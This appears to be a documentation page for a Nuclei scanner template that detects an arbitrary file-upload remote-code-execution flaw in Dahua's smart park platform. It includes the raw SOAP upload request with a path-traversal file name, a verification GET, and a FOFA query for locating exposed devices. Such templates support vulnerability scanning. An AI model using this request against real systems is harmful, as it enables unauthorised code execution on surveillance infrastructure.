Dahua Bitmap - File Upload Remote Code Execution
ID: dahua-bitmap-fileupload
Severity: critical
Author: DhiyaneshDK
Tags: dahua,file-upload,rce,intrusive
Description
Section titled “Description”YAML Source
Section titled “YAML Source”id: dahua-bitmap-fileupload
info: name: Dahua Bitmap - File Upload Remote Code Execution author: DhiyaneshDK severity: critical reference: - https://github.com/wy876/POC/blob/main/%E5%A4%A7%E5%8D%8E%E6%99%BA%E6%85%A7%E5%9B%AD%E5%8C%BA%E7%BB%BC%E5%90%88%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0bitmap%E6%8E%A5%E5%8F%A3%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.md metadata: verified: true max-request: 2 fofa-query: "app=\"dahua-智慧园区综合管理平台\"" tags: dahua,file-upload,rce,intrusivevariables: rand_str: "{{randstr}}" cmd: "{{base64(to_lower(rand_text_alpha(6)))}}"
flow: http(1) && http(2)
http: - raw: - | POST /emap/webservice/gis/soap/bitmap HTTP/1.1 Hostname: {{Hostname}} Content-Type: "text/xml; charset=utf-8"
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:res="http://response.webservice.bitmap.mapbiz.emap.dahuatech.com/"> <soapenv:Header/> <soapenv:Body> <res:uploadPicFile> <arg0> <picPath>/../{{rand_str}}.jsp</picPath> </arg0> <arg1>{{cmd}}</arg1> </res:uploadPicFile> </soapenv:Body> </soapenv:Envelope>
matchers: - type: word internal: true words: - '<soap:Envelope'
- raw: - | GET /upload/{{rand_str}}.jsp HTTP/1.1 Hostname: {{Hostname}}
matchers: - type: word words: - '{{base64_decode(cmd)}}'# digest: 4a0a00473045022100dd6d2a3741619e83959fe99fc4adbd961029f94c2768c545358788ef25905c860220124762f1efb410d811a2d82e9b4ac097afae1ece520e42a26dc0ab62b03868a0:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/dahua/dahua-bitmap-fileupload.yaml"